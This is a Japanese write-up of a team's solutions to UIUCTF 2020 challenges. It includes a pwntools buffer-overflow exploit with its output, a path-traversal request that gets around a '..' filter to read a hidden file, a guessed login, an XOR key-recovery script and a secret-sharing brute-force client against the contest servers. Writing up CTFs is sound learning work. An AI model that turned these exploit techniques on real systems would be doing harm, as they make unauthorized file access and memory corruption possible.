この大会は2020/7/18 10:00(JST)~2020/7/20 10:00(JST)に開催されました。
今回もチームで参戦。結果は1530点で387チーム中20位でした。
自分で解けた問題をWriteupとして書いておきます。
Spoockies (Warmup 20)
$ file pwn-warmup pwn-warmup: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=31aaa64fbf0494f6958d5a8ec60dd3147afda5d5, not stripped
Ghidraでデコンパイルする。
undefined4 main(void) { undefined *puVar1; puVar1 = &stack0x00000004; setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); puts("This is UIUCTF PWN Warmup, what could possibly be happening under here hmm..."); vulnerable(puVar1); return 0; } void vulnerable(void) { char local_24 [16]; int local_14; int local_10; __x86.get_pc_thunk.ax(); local_10 = 0x12345678; local_14 = 0x12345678; gets(local_24); if ((local_10 != 0x12345678) && (local_14 == 0x12345678)) { give_flag(); } return; } void give_flag(void) { FILE *__stream; int iVar1; __stream = fopen("flag.txt","r"); if (__stream == (FILE *)0x0) { puts("Couldn\'t open flag file!"); } else { while( true ) { iVar1 = fgetc(__stream); if ((char)iVar1 == -1) break; putchar((int)(char)iVar1); } } fclose(__stream); return; }
BOFでlocal_14の値は変えずにlocal_10だけ変えれば、フラグが表示される。
from pwn import * p = remote('chal.uiuc.tf', 2003) #p = process('./pwn-warmup') data = p.recvline().rstrip() print data payload = 'a' * 16 + p32(0x12345678) + p32(0x12345677) print payload p.sendline(payload) data = p.recv() print data
実行結果は以下の通り。
[+] Opening connection to chal.uiuc.tf on port 2003: Done This is UIUCTF PWN Warmup, what could possibly be happening under here hmm... aaaaaaaaaaaaaaaaxV4\x12V4\x12 uiuctf{stupid_flag_i_just_fell_out_of_the_bag} [*] Closed connection to chal.uiuc.tf port 2003
uiuctf{stupid_flag_i_just_fell_out_of_the_bag}
Tom Nook Has Stonks (Warmup 20)
添付のコードの処理は以下の通り。
・guess: 数値入力 ・guessから2410619(0+1337~1233+133の合計)を引く ・guess: guessの16進数の後半4バイト+前半4バイト ・guess: 10進数に変換 ・tax4が18~28で2飛びで以下を計算 guess = int((str(hex(guess)[2:])[::-1]),16) - tax4 * 1000 ・tax5が0~995で5飛びで以下を計算 ・tax4が10~30で10飛びで以下を計算 guess -= tax5 * tax4 ・guess: 16進数に変換 ・guess: 2バイトごとに数値にした配列 ・guess[1] /= 2 ・guess[0] *= 3 ・guess[1] -= 18 ・guess[3] -= 30 ・guess[0] += int((ord('j') - ord('J')) / (ord('E') - ord('e'))) ・guess[2] += ord('b') ・guess[0] += int((ord('g') - ord('G')) / (ord('z') - ord('Z')) * ord('c') - ord('a')) ・guess = 各要素の16進数配列を逆順 ・guess[3] = hex(int(guess[3],16) + 32) ・final = guessの各要素を10進数にして、ASCIIとして文字にする。 →Lmaoの場合、入力した数字をフラグ形式にしたものがフラグ
一つ一つ逆算する。
final = 'Lmao' guess = [ord(c) for c in final] guess[3] -= 32 guess = guess[::-1] guess[0] -= int((ord('g') - ord('G')) / (ord('z') - ord('Z')) * ord('c') - ord('a')) guess[2] -= ord('b') guess[0] -= int((ord('j') - ord('J')) / (ord('E') - ord('e'))) guess[3] += 30 guess[1] += 18 guess[0] /= 3 guess[1] *= 2 guess = [hex(g)[2:].zfill(2) for g in guess] guess = int(''.join(guess), 16) for tax5 in range(0,1000,5): for tax4 in range(10,40,10): guess += tax5 * tax4 for tax4 in range(28, 16, -2): guess = guess + tax4 * 1000 guess = int(hex(guess)[2:].rstrip('L')[::-1], 16) guess = hex(guess)[2:] guess = str(guess[4:8]) + str(guess[0:4]) guess = int(guess, 16) for tax3 in range(0, 1234): guess += 1337 + tax3 flag = 'uiuctf{%d}' % guess print flag
uiuctf{1293869277}
Kernel::Time_To_Start (Kernel Exploitation 100)
VNC接続し、ログインする問題。usernameはsandb0xで、passwordは4文字で、すべてアルファベット小文字、pから始まる。passwordは推測して、sandb0x / pwnyでログインしてみたらログインできて、フラグが書いてあった。
uiuctf{t1ming_s1d3_chann3l_g4ng}
security_question (Web 100)
問題のURLのページに以下のコードが書いてあり、hidden_poem.txtにフラグが書いてあるとのこと。
@app.route('/getpoem') def get_poem(): poemname = request.args.get('name') if not poemname: return 'Please send a name query:\n' + str(os.listdir('poems')), 404 poemdir = os.path.join(os.getcwd(), 'poems') poempath = os.path.join(poemdir, poemname) if '..' in poemname: return 'Illegal substring detected.', 403 if not os.path.exists(poempath): return 'File not found.', 404 return send_file(poempath)
$ curl https://security.chal.uiuc.tf/getpoem Please send a name query: ['rise.txt', 'daddy.txt', 'tyger.txt', 'road.txt']
ディレクトリトラバーサルをしたいが、..は使えない。
$ curl https://security.chal.uiuc.tf/getpoem?name=%2fhidden_poem.txt uiuctf{str_join_is_weird_in_python_3}
uiuctf{str_join_is_weird_in_python_3}
Raymonds Recovery (Forensics 100)
FTK Imagerで開くと、[root]直下にファイルがたくさんあることがわかるので、エクスポートする。JPGファイルとかがヘッダがない状態になっている。
とりあえず、何のファイルのヘッダがないものなのかをバイナリエディタで見る。JPG, PDF, PNGの場合があるので、修復する。
import os INPUT_DIR = 'files/' OUTPUT_DIR = 'output/' files = os.listdir(INPUT_DIR) for file in files: with open(INPUT_DIR + file, 'rb') as f: data = f.read().rstrip('\x00') if data.endswith('EOF\x0a'): data = '%PDF' + data with open(OUTPUT_DIR + file + '.pdf', 'wb') as f: f.write(data) elif data.endswith('EOF\x0d\x0a'): data = '%PDF' + data with open(OUTPUT_DIR + file + '.pdf', 'wb') as f: f.write(data) elif data.endswith('\xff\xd9'): if not data.startswith('\xff\xd8\xff'): data = '\xff\xd8\xff' + data with open(OUTPUT_DIR + file + '.jpg', 'wb') as f: f.write(data) else: with open(OUTPUT_DIR + file + '.jpg', 'wb') as f: f.write(data) elif data.endswith('IEND\xae\x42\x60\x82'): data = '\x89PNG\x0d\x0a\x1a\x0a' + data with open(OUTPUT_DIR + file + '.png', 'wb') as f: f.write(data)
修復したファイルの中にフラグが書いてある画像があった。
uiuctf{everyb0dy_l0ves_raym0nd}
isabelles_file_encryption (Crypto 100)
コードから暗号化処理は以下のようになっていることがわかる。
・平文の各文字について1ビットシフトしたものとXOR鍵8バイト(パスワード)で暗号化している。 ・平文には"Isabelle"が含まれている。
暗号化データの先頭から順に8バイトを復号した結果が"Isabelle"になるパスワードを算出し、その場合にフラグ文字列が入るものをブルートフォースで探す。
def decrypt(ciphertext, password): remove_spice = lambda b: 0xff & ((b >> 1) | (b << 7)) plaintext = '' for i in range(len(ciphertext)): code = ord(ciphertext[i]) ^ ord(password[i%len(password)]) code = remove_spice(code) plaintext += chr(code) return plaintext def get_password(plaintext, ciphertext, index): add_spice = lambda b: 0xff & ((b << 1) | (b >> 7)) password = '' for i in range(8): code = add_spice(ord(plaintext[i])) ^ ord(ciphertext[i]) password += chr(code) password = password[8 - index % 8:] + password[:8 - index % 8] return password with open('blackmail_encrypted', 'rb') as f: ct = f.read() crib = 'Isabelle' for i in range(len(ct) - len(crib) + 1): password = get_password(crib, ct[i:i+8], i) pt = decrypt(ct, password) if 'uiuctf' in pt: print '[+] index =', i print '[+] password =', password print pt break
実行結果は以下の通り。
[+] index = 26013 [+] password = iSaBelLE : You docile, old raccoon. I have finally found the secret sauce behind your nefarious shop. For far too long I, Isabelle, have suffered under your horrendous prices. Your reign of terror comes to an end. For you see, as the town's loyal assistant, I have direct access to all your financials. I have found evidence that you have been siphoning bells from the citizens. As you can see, the start of this file is picture proof in the form of half a JPEG in bytes. I, Isabelle, put the other half at the end. It's totally not to try to trick online repeated XOR solvers. I, Isabelle, am very smart! Anyways, I'm gonna need you to give me a lot of those bells or I report you to the Mayor. You can take this flag as a sign I'm being serious: uiuctf{winner_winner_raccoon_dinner} Thanks! :
uiuctf{winner_winner_raccoon_dinner}
coelacanth_vault (Crypto 300)
$ nc chal.uiuc.tf 2004 Hi, and welcome to the virtual Animal Crossing: New Horizon coelacanth vault! There are 5 different cryptolocks that must be unlocked in order to open the vault. You get one portion of each code for each coelacanth you have caught, and will need to use them to reconstruct the key for each lock. Unfortunately, it appears you have not caught enough coelacanths, and thus will need to find another way into the vault. Be warned, these locks have protection against brute force; too many wrong attempts and you will have to start over! How many coelacanth have you caught? 9 Generating key for lock 0, please wait... Generated! Here are your key portions: [(152, 197), (72, 163), (57, 179), (129, 157), (28, 173), (99, 199), (226, 251), (117, 223), (152, 227)] Please input the key:
サーバの処理概要は以下の通り。
num_shares: 9以下の数値を指定 5回以下を繰り返し ・secret, shares = create_key(THRESHOLD=10, TOTAL=15) ・seq: 15個の8ビット素数の配列(ソート) ※全部で8ビットの素数は23個ある。 131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227,229,233,239,241,251 ・alpha: seqの先頭10個の積 ・beta: seqの末尾9個の積 ・alphaがbetaより大きい場合(小さい場合は生成しなおし) ・secret: beta~alphaランダム整数 ・shares: secret % numとnumのペアの配列 ・secrec、sharesを返却 ・r_secret = construct_key(random.sample(shares, THRESHOLD=10)) ・secret == r_secretのチェック ・num_sharesの数だけsharesを表示 ・250回以下を繰り返し ・n_secret: 数値入力 →secretを当てる(250回以内)
9個表示されるが、正しいsecretを求めるにはもう一つ必要。表示されていない8ビット素数で総当たりで求める。
import socket def recvuntil(s, tail): data = '' while True: if tail in data: return data data += s.recv(1) NUM_LOCKS = 5 NUM_TRIES = 250 prod = lambda n: reduce(lambda x, y: x*y, n) def construct_key(shares): glue = lambda A, n, s=1, t=0, N=0: (n < 2 and t % N or glue(n, A % n, t, s - A//n * t, N or n), -1)[n < 1] mod = prod([m for s, m in shares]) secret = sum([s * glue(mod//m, m) * mod//m for s, m in shares]) % mod return secret primes = [131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('chal.uiuc.tf', 2004)) data = recvuntil(s, '? ') print data + '9' s.sendall('9\n') for lock_num in range(NUM_LOCKS): data = recvuntil(s, ':\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data shares = eval(data) share_primes = [share[1] for share in shares] for p in primes: if p not in share_primes: plus_prime = p break for num_attempts in range(NUM_TRIES): plus_share = [(num_attempts, plus_prime)] secret = construct_key(shares + plus_share) data = recvuntil(s, ': ') print data + str(secret) s.sendall(str(secret) + '\n') data = recvuntil(s, '\n').rstrip() print data if data.startswith('Lock'): break data = recvuntil(s, '\n').rstrip() print data data = recvuntil(s, '\n').rstrip() print data
実行結果は以下の通り。
Hi, and welcome to the virtual Animal Crossing: New Horizon coelacanth vault! There are 5 different cryptolocks that must be unlocked in order to open the vault. You get one portion of each code for each coelacanth you have caught, and will need to use them to reconstruct the key for each lock. Unfortunately, it appears you have not caught enough coelacanths, and thus will need to find another way into the vault. Be warned, these locks have protection against brute force; too many wrong attempts and you will have to start over! How many coelacanth have you caught? 9 Generating key for lock 0, please wait... Generated! Here are your key portions: [(12, 199), (47, 149), (139, 197), (47, 173), (162, 211), (168, 179), (127, 239), (7, 137), (36, 227)] Please input the key: 9363193076599820223704 Key incorrect. You have 250 tries remaining for this lock. Please input the key: 21845192614703784394380 Key incorrect. You have 249 tries remaining for this lock. Please input the key: 34327192152807748565056 Key incorrect. You have 248 tries remaining for this lock. : Please input the key: 3122193307547838138366 Lock 0 unlocked with 65 failed attempts! Generating key for lock 1, please wait... Generated! Here are your key portions: [(95, 157), (58, 191), (209, 233), (14, 149), (55, 223), (214, 229), (113, 139), (149, 197), (242, 257)] Please input the key: 7951128200770174371308 Key incorrect. You have 250 tries remaining for this lock. : Please input the key: 2339085545640217169063 Lock 1 unlocked with 16 failed attempts! Generating key for lock 2, please wait... Generated! Here are your key portions: [(237, 251), (35, 211), (143, 229), (18, 173), (44, 193), (3, 191), (2, 151), (66, 227), (62, 181)] Please input the key: 38462509491395574583335 Key incorrect. You have 250 tries remaining for this lock. : Please input the key: 15429480447093626001879 Lock 2 unlocked with 4 failed attempts! Generating key for lock 3, please wait... Generated! Here are your key portions: [(161, 173), (81, 157), (130, 227), (185, 239), (21, 137), (91, 257), (70, 193), (26, 179), (57, 151)] Please input the key: 16223079724549923683921 Key incorrect. You have 250 tries remaining for this lock. : Please input the key: 4043760736124353106516 Lock 3 unlocked with 38 failed attempts! Generating key for lock 4, please wait... Generated! Here are your key portions: [(213, 223), (110, 229), (40, 257), (7, 233), (105, 131), (18, 211), (142, 149), (148, 191), (234, 241)] Please input the key: 9323223743359497746050 Key incorrect. You have 250 tries remaining for this lock. : Please input the key: 4105725297510172042753 Lock 4 unlocked with 131 failed attempts! Opening vault... Looks like the vault has already been emptied :( however, you can have this flag instead: uiuctf{small_oysters_expire_quick}
uiuctf{small_oysters_expire_quick}
Feedback Survey (Misc 20)
アンケートに答えたら、フラグが表示された。
uiuctf{your_input_is_important_to_us}